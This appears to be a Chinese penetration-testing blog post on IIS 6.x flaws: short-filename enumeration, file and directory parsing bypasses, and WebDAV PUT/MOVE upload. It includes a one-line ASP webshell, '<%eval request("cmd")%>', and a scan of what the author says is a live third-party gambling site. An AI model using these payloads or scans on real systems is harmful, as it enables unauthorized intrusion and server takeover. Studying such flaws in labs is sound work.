服务攻防-IIS中间件漏洞-上

本文最后更新于 2024年10月22日 下午

前言:IIS (Internet Information Services) 是 Microsoft 公司开发的一款 Web 服务器,或者叫web容器,中间件。IIS 在过去被广泛应用,甚至至今还有不少传统企业和组织还在使用。但随着云计算和开源技术的发展,一些用户逐渐转向使用开源的 Web 服务器软件,如 Apache 和 Nginx。但总的来说,虽然 IIS 在市场份额上可能不如以往,虽然它可能”过气了”,但它目前还是有一定用户量的,在实际渗透工作中还是有一丢丢可能性会遇到吧(不知道,反正很难遇到),简单做个了解吧

IIS 6.x

环境搭建

  1. 搭建一台windows 2003 虚拟机
  2. 安装IIS 6.x 中间件
  3. 用IIS 6.x 搭建一个测试网站

IIS 6.x 短文件漏洞

  • 原理
1
就是一个历史遗留的鸡肋机制问题,笔者不做深究,感兴趣的师傅可自行了解
  • 影响范围:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//全版本

IIS 1.0,Windows NT 3.51
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
IIS 7.5,Windows 2008(经典管道模式)
IIS 8.0,Windows 8, Windows Server 2012
IIS 8.5,Windows 8.1,Windows Server 2012 R2
IIS 10.0,Windows 10, Windows Server 2016

//但不意味着每一个IIS网站都存在这个漏洞,可能是因为IIS服务器已经安装了相应的补丁来修复这个漏洞,或者在配置上已经采取了相应的安全措施来防范这种漏洞
  • 危害
1
其实危害也不大,就是可以探测出网站目录结构,但受机制的限制,只能探测前6位文件名
  • 利用
1
2
3
这有什么用途呢?比如网站有一个名为admin的后台管理员登录目录,那不就可以借此发现它了吗。所以作用就是大概了解网站目录结构,看有没有一些敏感的目录泄露了,根据有限的信息,还需要进一步的去猜测,去FUZZ出具体的url路径,从而找到敏感的重要的目录,文件,发现攻击点

这和目录扫描不同,目录扫描利用的是现成的字典去发包测试,这个利用的是机制上的漏洞去发包测试
  • 复现

没啥好说的,直接用前人写好的工具猜解文件名

注意需要使用python 2.x 版本运行

1
python  iis_shortname_Scan.py https://xxxxx.com

示例:(一个IP老美的菠菜网站)

image

1
2
3
4
5
6
7
8
可以看到,探测了出3个目录名,三个文件名
download
aspnet
php
……
其中php-fil~.php 引起了我的注意
拿去一搜,得知是php-fileinfo.php文件,好吧不是什么重要的文件
所以啊,这个漏洞有没有用,全凭运气

IIS 6.x 文件解析漏洞

  • 概述
1
2
3
4
5
1. 对于文件
shell.asp;test.jpg 在文件上传过滤检测时,会被当成普通jpg文件,但实际上IIS,会把shell.asp;test.jpg,解析成shell.asp,执行asp脚本

2. 对于目录
在以xxx.asp命名的目录下的文件,不管是什么后缀,都会被解析成asp脚本
  • 利用
1
在文件上传时,可以绕过白名单检测,上传asp木马
  • 危害
1
可以配合文件上传、写权限漏洞上传webshell
  • 复现-文件名解析
1
2
3
4
5
6
1. 往shell.asp;test.jpg文件写入“<%=time()%>”
2. 放在windows 2003虚拟机中
3. 用IIS中间件搭建测试网站
4. 把shell.asp;test.jpg放在网站目录下
5. 访问网站文件地址

image

1
成功执行了asp脚本,而不是当成图片解析
  • 复现-目录解析
1
2
3
4
5
6
1. 往test.jpg文件写入“<%=time()%>”
2. 放在windows 2003虚拟机中
3. 用IIS中间件搭建测试网站
4. 把test.jpg放在网站名为test.asp的目录下
5. 访问网站文件地址

image

image

1
成功执行了asp脚本,而不是当成图片解析

IIS 6.x 写权限漏洞

  • 前提条件
1
2
3
1. 开启了WEB DAV服务
2. 开启了脚本资源访问和写入
3. 来宾用户对文件夹具备读写权限

image

image

image

  • 漏洞发现

直接工具扫描,没啥好说的,IISPutScaner

  • 利用

还是用工具

  1. 写好一句话木马 test.txt
1
<%eval request("cmd")%> 
  1. PUT test.txt

image

1
成功写入!test.txt

image

1
但是无法被解析为asp脚本
  1. MOVE test.txt 为shell.asp 把txt变为asp脚本

image

直接PUT ASP文件是不行的,于是还有一种办法把txt变为asp脚本,不用通过MOVE来实现,就是利用IIS文件名解析漏洞

1
蚁剑连接成功!

image